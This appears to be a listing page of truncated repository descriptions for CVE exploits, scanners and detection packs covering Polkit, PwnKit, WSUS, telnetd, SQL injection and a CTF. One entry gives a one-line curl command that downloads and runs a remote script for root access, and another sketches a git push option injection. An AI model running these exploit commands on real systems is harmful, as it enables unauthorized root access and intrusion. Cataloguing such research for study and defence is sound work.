Poc-CVE-2025-9519

Easy Timer v4.2.1 - Prerequisites Docker Engine installed Docker Compose installed Refer to the official Docker docs for installation: Docker Engine Install 1. Start WordPress with Docker From your project directory: sudo docker-compose up -d mkdir -p wp-content/plugins cd wp-content/plugins wget...

CVE-2026-21531

Security Feature Bypass in ASP.NET Core by Microsoft CVE-2026-21531 🌟 Description A vulnerability in the Azure SDK facilitates deserialization of untrusted data, enabling unauthorized attackers to execute arbitrary code over a network. ⚙️ Installation To set up the exploitation tool, follow these...

PX4-Autopilot

The autopilot stack the industry builds on. About PX4 is an open-source autopilot stack for drones and unmanned vehicles. It supports multirotors, fixed-wing, VTOL, rovers, and many more experimental platforms from racing quads to industrial survey aircraft. It runs on NuttX, Linux, and macOS...

ez-pwnkit

ez-pwnkit A pure-Go implementation of the CVE-2021-4034 PwnKit exploit. The exploit use syscall.ForkExec to survive end of main program. Installation git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make As the exploit relies on a malicious shared library, a PWN.so file is generat...

CTF_CVE_DSP_1

🚩 Vuln Gallery CTF Welcome to Vuln Gallery , an intermediate-level Linux-based CTF Capture The Flag. This challenge will guide you from the initial exploitation of a modern web application to privilege escalation on a misconfigured Linux system. Your mission is to exploit the vulnerabilities, mov...

cve_2026_34621_advanced

CVE-2026-34621 Advanced Exploit Generator A sophisticated, cross-platform exploit generator for CVE-2026-34621 – a critical prototype pollution vulnerability in Adobe Acrobat and Reader that leads to sandbox escape and arbitrary code execution on Windows and macOS. ⚠️ IMPORTANT DISCLAIMER This too...

CVE-2026-22730-Scanner

CVE-2026-22730 Scanner & Exploit – Spring AI MariaDB Vector Store SQL Injection A professional security assessment tool for CVE-2026-22730 – a critical SQL injection vulnerability discovered in Spring AI's MariaDB vector store. This tool allows authorised penetration testers and security...

CVE-2021-3560

CVE-2021-3560 Polkit Instant Root Exploit You can run one command to root with Polkit CVE-2021-3560 vulnerable boxes by typing in: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Or you can download the .sh or copy and paste it. Run and Instant Root. Us...

Security Bulletin: IBM Guardium Data Protection is affected by multiple vulnerabilities.

Summary IBM Guardium Data Protection has addressed these vulnerabilities in an update. Vulnerability Details CVEID:CVE-2026-59888 DESCRIPTION: jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.15.0 until 2.18.8, 2.21.4, and...

CVE-2026-31844

Koha CVE-2026-31844: Authenticated SQL Injection Overview This repository contains a responsible vulnerability POC for CVE-2026-31844 , a high severity authenticated SQL injection vulnerability in the Koha Library Management System. The vulnerability exists in the GetDistinctValues function in...

CVE-2026-6111

CVE-2026-6111 Vulnerability Scanner This is a simple Python script used to scan websites to check for the CVE-2026-6111 vulnerability. It sends modified requests to the target URL and checks the response for the presence of this vulnerability. Requirements Python 3 requests library tqdm library Y...

CVE-2026-24061

CVE-2026-24061 - Telnet Argument Injection Nuclei template for detecting the CVE-2026-24061 vulnerability in GNU inetutils telnetd, allowing root access without authentication. 📋 Vulnerability Description CVE-2026-24061 is a critical argument injection vulnerability in GNU inetutils telnetd that...

cve-2025-59287-exploit-poc

CVE-2025-59287 Proof-of-Concept Exploit Vulnerability Overview CVE-2025-59287 is a critical Remote Code Execution RCE vulnerability in Microsoft Windows Server Update Services WSUS. The vulnerability is caused by unsafe deserialization of AuthorizationCookie data through BinaryFormatter in the...

smartermail-CVE-2026-23760-poc

SmarterMail-CVE-2026-23760-poc A proof-of-concept exploiting an authentication bypass via password reset API for the SmaretMail system administrator account. Vulnerability The vulnerability exists due to an authentication bypass vulnerability in the password reset API. The force-reset-password...

CVE-2026-24061-GUI

CVE-2026-24061 Vulnerability Detection and Exploitation Tool Thank you🙏 for your Star support; Thank you🙏 for your usage and recognition; Program Overview This is a GUI tool for detecting and exploiting the CVE-2026-24061 vulnerability. This vulnerability is a GNU Inetutils telnetd authentication...

redsun-bluehammer-undefend-detection-pack

RedSun, BlueHammer, UnDefend, and CrossFamily Detection Pack IMPORTANT: All code and detection logic in this repository is AI-generated. There is no guarantee that these scripts are correct, complete, safe, or suitable for any environment. Use these scripts entirely at your own risk. The reposito...

CVE-2025-8081-Elementor

CVE-2025-8081 - Elementor Arbitrary File Read Vulnerability A critical arbitrary file read vulnerability in Elementor WordPress plugin that allows authenticated administrators to read any file accessible by the web server, including sensitive configuration files containing database credentials. 📋...

Exploit_CVE-2026-3854

ExploitCVE-2026-3854 CVE-2026-3854 is a Remote Code Execution in GitHub.com and GitHub Enterprise Server The vulnerability could be exploited by injecting commands into the git push command as follows : git push -o '' origin master To review any exploitation of this vulnerability, we recommend th...

GNU-Inetutils-telnet-CVE-2026-24061-

CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass Vulnerability Detection Tool 📋 Project Overview This is an advanced detection tool for the GNU Inetutils Telnetd authentication bypass vulnerability CVE-2026-24061. This vulnerability has a CVSS score of 9.8, allowing attackers to obtain...

CVE-2026-25253

CVE-2026-25253: One-Click RCE in OpenClaw via Auth Token Theft Affected Software: OpenClaw clawbot LEGAL DISCLAIMER: This code and writeup are provided for authorized security research and educational purposes only. Use of this exploit against systems without explicit written permission is illega...